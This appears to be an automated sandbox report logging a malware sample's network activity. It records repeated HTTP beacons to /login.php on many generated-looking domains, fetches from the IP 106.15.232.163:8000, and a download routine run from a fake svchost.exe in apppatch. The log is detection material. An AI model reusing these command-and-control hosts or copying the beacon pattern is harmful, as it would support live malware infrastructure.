Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478890781963739088
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygynud.comCookie: snkz=66.23.206.109; btst=1e822420cb8d3f7ff6bc20592f4b28e8|66.23.206.109|1731345185|1731345185|0|1|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.comCookie: snkz=66.23.206.109; btst=e5cea2794c01fe0d297510f888cbb928|66.23.206.109|1731345186|1731345186|0|1|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficHTTP traffic detected: GET /dh/147287063_343064.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.232.163
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C839C0 memset,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,_snprintf,HttpAddRequestHeadersA,HttpSendRequestA,HttpQueryInfoA,CreateFileA,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,memset,InternetReadFile,WriteFile,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,GetProcessHeap,HeapValidate,GetProcessHeap,RtlFreeHeap,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,2_2_02C839C0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygynud.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficHTTP traffic detected: GET /dh/147287063_134827.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficHTTP traffic detected: GET /dh/147287063_134827.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galynuh.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.com
Source: global trafficHTTP traffic detected: GET /login.php?subid1=20241112-0413-1393-8b92-799b17a46fa8 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1731345193.2353053
Source: global trafficHTTP traffic detected: GET /login.php?sub1=20241112-0413-1304-9c25-d9b9aac71030 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1731345193.3163760
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyhyg.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygyvuj.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyhiz.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
